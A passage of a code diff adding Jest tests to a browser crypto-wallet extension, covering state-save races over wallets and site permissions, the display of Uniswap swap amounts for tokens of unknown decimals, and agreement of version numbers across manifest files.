+        const popup = loadPage(storage);
+        await popup.state.loadState();
+        popup.state.state.wallets.splice(1, 1);
+        popup.state.state.hasWallet = popup.state.state.wallets.length > 0;
+        await popup.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(1);
+
+        await background.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual(["Wallet 1"]);
+        expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
+    });
+});
+
+// allowedSites/deniedSites: { [address]: [hostname, ...] }. Mutated in place
+// from two different contexts — src/background/index.js:592-599 pushes a
+// newly approved hostname onto state.allowedSites[activeAddress], and the
+// Settings "revoke" button (src/popup/views/settings.js:55-68) filters a
+// hostname out of state[key][addr] in place, deleting the address key
+// entirely once its list is empty — the exact membership-vs-whole-field
+// pattern that made the whole-field `wallets` diff unsafe, on a
+// security-relevant field: a stale whole-field save here can resurrect a
+// revoked permission or wipe a freshly granted one.
+const ADDR1 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
+const ADDR2 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
+
+function approveSite(pageState, address, hostname) {
+    if (!pageState.allowedSites[address]) {
+        pageState.allowedSites[address] = [];
+    }
+    if (!pageState.allowedSites[address].includes(hostname)) {
+        pageState.allowedSites[address].push(hostname);
+    }
+}
+
+function revokeSite(pageState, hostname) {
+    for (const addr of Object.keys(pageState.allowedSites)) {
+        pageState.allowedSites[addr] = pageState.allowedSites[addr].filter(
+            (h) => h !== hostname,
+        );
+        if (pageState.allowedSites[addr].length === 0) {
+            delete pageState.allowedSites[addr];
+        }
+    }
+}
+
+describe("a dApp approval racing a stale Settings page's later save", () => {
+    test("the fresh approval survives Settings revoking an unrelated site", async () => {
+        const storage = makeStorage();
+        await storage.set({
+            autistmask: {
+                wallets: [W1],
+                allowedSites: { [ADDR2]: ["other.example"] },
+            },
+        });
+
+        // Settings loads first, and its save lands last — before either has
+        // any idea a dApp approval happened elsewhere in between.
+        const settings = loadPage(storage);
+        await settings.state.loadState();
+
+        // A dApp approval window, opened later, approves a new site for a
+        // different address and saves — the real sequence at
+        // src/background/index.js:592-599.
+        const approval = loadPage(storage);
+        await approval.state.loadState();
+        approveSite(approval.state.state, ADDR1, "dapp.example");
+        await approval.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
+        ).toEqual(["dapp.example"]);
+
+        // Settings revokes its own, unrelated site — the real sequence at
+        // src/popup/views/settings.js:55-68 — and saves from state loaded
+        // before the dApp approval ever happened.
+        revokeSite(settings.state.state, "other.example");
+        await settings.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.allowedSites[ADDR1]).toEqual(["dapp.example"]);
+        expect(persisted.allowedSites[ADDR2]).toBeUndefined();
+    });
+});
+
+describe("a revoked site permission against a stale page's later save", () => {
+    test("the revocation holds even when the stale page approves something else", async () => {
+        const storage = makeStorage();
+        await storage.set({
+            autistmask: {
+                wallets: [W1],
+                allowedSites: { [ADDR1]: ["evil.example"] },
+            },
+        });
+
+        // A stale page loads while the permission still stands.
+        const stale = loadPage(storage);
+        await stale.state.loadState();
+
+        // Settings revokes it — src/popup/views/settings.js:55-68 — from a
+        // second page.
+        const settings = loadPage(storage);
+        await settings.state.loadState();
+        revokeSite(settings.state.state, "evil.example");
+        await settings.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
+        ).toBeUndefined();
+
+        // The stale page, unaware of the revoke, approves an unrelated site
+        // for a different address and saves — src/background/index.js:592-599.
+        approveSite(stale.state.state, ADDR2, "good.example");
+        await stale.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.allowedSites[ADDR2]).toEqual(["good.example"]);
+        expect(persisted.allowedSites[ADDR1]).toBeUndefined();
+    });
+});
+
+// mergeListByIdentity()'s identity function is not guaranteed collision-free
+// — walletIdentity() falls back to one shared "addr:" value for any wallet
+// with neither an xpub nor a populated first address (a legacy or corrupt
+// record). Two such records created independently on two different pages
+// must not silently collapse into one, dropping the loser's
+// encryptedSecret with no error and no log.
+function legacyWallet(name, secret) {
+    return {
+        type: "legacy",
+        name,
+        encryptedSecret: secret,
+        nextIndex: 0,
+        addresses: [],
+    };
+}
+
+describe("two wallets independently created with a colliding identity", () => {
+    test("both survive, encryptedSecret included, instead of one silently replacing the other", async () => {
+        const storage = makeStorage();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // Both pages load before either has created their malformed wallet,
+        // so neither has baseline knowledge of the other's.
+        const pageA = loadPage(storage);
+        await pageA.state.loadState();
+        const pageB = loadPage(storage);
+        await pageB.state.loadState();
+
+        pageA.state.state.wallets.push(legacyWallet("Legacy A", "secret-a"));
+        pageA.state.state.hasWallet = true;
+        await pageA.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        pageB.state.state.wallets.push(legacyWallet("Legacy B", "secret-b"));
+        pageB.state.state.hasWallet = true;
+        await pageB.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        const secrets = persisted.wallets.map((w) => w.encryptedSecret);
+        expect(secrets).toContain("secret-one");
+        expect(secrets).toContain("secret-a");
+        expect(secrets).toContain("secret-b");
+    });
+});

tests/uniswapUnknownDecimals.test.js

@@ -0,0 +1,176 @@
+// The scale the swap lines of the dApp approval screen are displayed with.
+//
+// Issue #340: `tokenInfo()` in `src/shared/uniswap.js` returned `decimals: 18`
+// for any token absent from the bundled list — the same guess
+// https://git.eeqj.de/sneak/AutistMask/issues/306 removed from the ERC-20
+// amount line, still live on the swap path. A 1,000-token swap of a 6-decimal
+// token then rendered as `0.000000001` on the one screen whose job is to state
+// what is being authorized, and every newly listed token reaches it.
+//
+// What is asserted here is the rule #306 established: resolve the real scale
+// wherever the wallet already has it, and where nothing has it refuse to
+// format — base units with the scale stated, never a quantity.
+
+globalThis.chrome = {
+    storage: { local: { get: async () => ({}), set: async () => {} } },
+};
+
+const { AbiCoder, Interface } = require("ethers");
+const { state } = require("../src/shared/state");
+const { unknownDecimalsAmount } = require("../src/shared/approvalAmount");
+const { decodeCalldata } = require("../src/popup/views/approval");
+
+const ROUTER = "0x66a9893cc07d91d95644aedd05d03f95e1dba8af";
+const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
+// Outside the bundled list, as every newly listed token is.
+const NOVEL = "0xE2E0000000000000000000000000000000000E2e";
+// Also outside it, standing in for the swap's output side.
+const NOVEL_OUT = "0xd0d0000000000000000000000000000000000d0d";
+// In the bundled list, at 18 decimals.
+const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
+
+// 1,000.00 of a 6-decimal token — the amount from the issue, which the 18
+// guess rendered as 0.000000001.
+const THOUSAND_AT_SIX = 1000000000n;
+// 0.5 WETH out, so the Min. received line has a real number of its own.
+const HALF_WETH = 500000000000000000n;
+
+const coder = AbiCoder.defaultAbiCoder();
+const routerIface = new Interface([
+    "function execute(bytes commands, bytes[] inputs, uint256 deadline)",
+]);
+
+// A V2_SWAP_EXACT_IN (command 0x08) execute() call: `amountIn` of `tokenIn`
+// for at least `amountOutMin` of `tokenOut`.
+function swapData(tokenIn, amountIn, tokenOut, amountOutMin) {
+    const input = coder.encode(
+        ["address", "uint256", "uint256", "address[]", "bool"],
+        [RECIPIENT, amountIn, amountOutMin, [tokenIn, tokenOut], true],
+    );
+    return routerIface.encodeFunctionData("execute", [
+        "0x08",
+        [input],
+        9999999999n,
+    ]);
+}
+
+// A wallet holding `token` with the decimals the block explorer reported,
+// shaped as balances.js writes it onto state.
+function walletsHolding(token, decimals) {
+    return [
+        {
+            name: "Wallet 1",
+            addresses: [
+                {
+                    address: "0x" + "a".repeat(40),
+                    balance: "1.0",
+                    tokenBalances: [
+                        {
+                            address: token,
+                            symbol: "NOVEL",
+                            decimals,
+                            balance: "1000.0",
+                        },
+                    ],
+                },
+            ],
+        },
+    ];
+}
+
+// The swap detail line as the approval screen renders it. It goes through
+// decodeCalldata() rather than uniswap.decode() directly, because the scale
+// sources the screen supplies are part of what is under test.
+function swapDetail(data, label) {
+    const decoded = decodeCalldata(data, ROUTER);
+    return decoded.details.find((d) => d.label === label);
+}
+
+beforeEach(() => {
+    state.trackedTokens = [];
+    state.wallets = [];
+});
+
+describe("a swap of a token outside the bundled list", () => {
+    const data = () => swapData(NOVEL, THOUSAND_AT_SIX, WETH, HALF_WETH);
+
+    test("shows the true quantity when the user tracks the token", () => {
+        state.trackedTokens = [
+            { address: NOVEL, symbol: "NOVEL", decimals: 6 },
+        ];
+        expect(swapDetail(data(), "Amount").value).toBe("1000.0000");
+    });
+
+    test("shows the true quantity from the explorer's decimals", () => {
+        state.wallets = walletsHolding(NOVEL, "6");
+        expect(swapDetail(data(), "Amount").value).toBe("1000.0000");
+    });
+
+    test("refuses to format when nothing knows the scale", () => {
+        const detail = swapDetail(data(), "Amount");
+        expect(detail.value).toBe("1000000000 base units (decimals unknown)");
+        expect(detail.value).toBe(unknownDecimalsAmount(THOUSAND_AT_SIX));
+        // The defect: an 18-decimal guess renders this swap as 0.000000001, a
+        // quantity, and a wrong one.
+        expect(detail.value).not.toMatch(/^0\./);
+        expect(detail.value).not.toMatch(/[0-9]\.[0-9]/);
+    });
+
+    test("the amount carried to the status screens is the same refusal", () => {
+        expect(swapDetail(data(), "Amount").rawValue).toBe(
+            "1000000000 base units (decimals unknown)",
+        );
+    });
+
+    test("a bundled token on the other side still formats", () => {
+        expect(swapDetail(data(), "Min. received").value).toBe("0.5000 WETH");
+    });
+});
+
+describe("the Min. received line takes the same rule", () => {
+    test("refuses to format an output token of unknown scale", () => {
+        const data = swapData(WETH, HALF_WETH, NOVEL_OUT, THOUSAND_AT_SIX);
+        const detail = swapDetail(data, "Min. received");
+        expect(detail.value).toBe("1000000000 base units (decimals unknown)");
+        expect(detail.value).not.toMatch(/[0-9]\.[0-9]/);
+    });
+
+    test("shows the true quantity when the user tracks the output token", () => {
+        state.trackedTokens = [
+            { address: NOVEL_OUT, symbol: "NOVEL", decimals: 6 },
+        ];
+        const data = swapData(WETH, HALF_WETH, NOVEL_OUT, THOUSAND_AT_SIX);
+        expect(swapDetail(data, "Min. received").value).toBe("1000.0000");
+    });
+});
+
+describe("the permit amount takes the same rule", () => {
+    // PERMIT2_PERMIT (command 0x0a): the input token and amount come from the
+    // permit rather than from a swap step.
+    function permitData(token, amount) {
+        const input = coder.encode(
+            [
+                "tuple(tuple(address,uint160,uint48,uint48),address,uint256)",
+                "bytes",
+            ],
+            [[[token, amount, 0, 0], ROUTER, 9999999999], "0x1234"],
+        );
+        return routerIface.encodeFunctionData("execute", [
+            "0x0a",
+            [input],
+            9999999999n,
+        ]);
+    }
+
+    test("refuses to format a permit on a token of unknown scale", () => {
+        const detail = swapDetail(permitData(NOVEL, THOUSAND_AT_SIX), "Amount");
+        expect(detail.value).toBe("1000000000 base units (decimals unknown)");
+    });
+
+    test("an unbounded permit is still named, with or without a scale", () => {
+        const maxUint160 = (1n << 160n) - 1n;
+        expect(swapDetail(permitData(NOVEL, maxUint160), "Amount").value).toBe(
+            "Unlimited",
+        );
+    });
+});

tests/version.test.js

@@ -0,0 +1,97 @@
+// One version, three files, and the rule that they agree.
+//
+// package.json, manifest/chrome.json and manifest/firefox.json each declare a
+// version and none is derived from another. Before this, nothing compared
+// them: the manifests were hardcoded at 0.1.0 and copied to dist/ verbatim
+// while package.json fed the About screen separately, so the number the
+// browser reported and the number the extension displayed could drift apart
+// with no check anywhere failing.
+//
+// The build enforces the agreement (build.js calls resolveVersion before it
+// emits anything) and script/lib/package.js names the artifacts from it. This
+// asserts both halves: that the tree as committed agrees, and that a tree that
+// does not is refused rather than resolved to one of the answers.
+
+const fs = require("fs");
+const os = require("os");
+const path = require("path");
+
+const {
+    VERSION_SOURCES,
+    declaredVersions,
+    resolveVersion,
+} = require("../script/lib/version");
+
+const ROOT = path.join(__dirname, "..");
+
+// A tree containing only the three version files, with the given versions.
+function fixture(versions) {
+    const dir = fs.mkdtempSync(path.join(os.tmpdir(), "autistmask-version-"));
+    fs.mkdirSync(path.join(dir, "manifest"));
+    VERSION_SOURCES.forEach((source, i) => {
+        fs.writeFileSync(
+            path.join(dir, source),
+            JSON.stringify({ version: versions[i] }),
+        );
+    });
+    return dir;
+}
+
+describe("the declared version", () => {
+    test("all three sources agree in this tree", () => {
+        const declared = declaredVersions(ROOT);
+        expect(declared.map((d) => d.source)).toEqual(VERSION_SOURCES);
+        expect([...new Set(declared.map((d) => d.version))]).toHaveLength(1);
+        expect(resolveVersion(ROOT)).toBe(declared[0].version);
+    });
+
+    // Semver-shaped, because it names every release artifact and is what the
+    // browser compares when deciding whether an install is an upgrade.
+    test("is semver-shaped", () => {
+        expect(resolveVersion(ROOT)).toMatch(/^\d+\.\d+\.\d+$/);
+    });
+
+    // The load-bearing case: each of the three, disagreeing on its own, has to
+    // fail. A check that only looked at two of them would pass one of these.
+    test.each([
+        ["package.json", ["9.9.9", "0.1.0", "0.1.0"]],
+        ["manifest/chrome.json", ["0.1.0", "9.9.9", "0.1.0"]],
+        ["manifest/firefox.json", ["0.1.0", "0.1.0", "9.9.9"]],
+    ])("a disagreeing %s fails rather than resolving", (source, versions) => {
+        const dir = fixture(versions);
+        try {
+            expect(() => resolveVersion(dir)).toThrow(
+                /the declared versions disagree/,
+            );
+            expect(() => resolveVersion(dir)).toThrow(new RegExp(source));
+        } finally {
+            fs.rmSync(dir, { recursive: true, force: true });
+        }
+    });
+
+    test("agreeing sources resolve", () => {
+        const dir = fixture(["1.2.3", "1.2.3", "1.2.3"]);
+        try {
+            expect(resolveVersion(dir)).toBe("1.2.3");
+        } finally {
+            fs.rmSync(dir, { recursive: true, force: true });
+        }
+    });
+
+    // A missing or empty version is not agreement. Left unchecked, three files
+    // that all declared nothing would "agree" on undefined and the artifacts
+    // would be named after it.
+    test.each([[undefined], [""], ["   "], [3]])(
+        "a version of %p is refused",
+        (bad) => {
+            const dir = fixture([bad, bad, bad]);
+            try {
+                expect(() => resolveVersion(dir)).toThrow(
+                    /declares no usable "version"/,
+                );
+            } finally {
+                fs.rmSync(dir, { recursive: true, force: true });
+            }
+        },
+    );
+});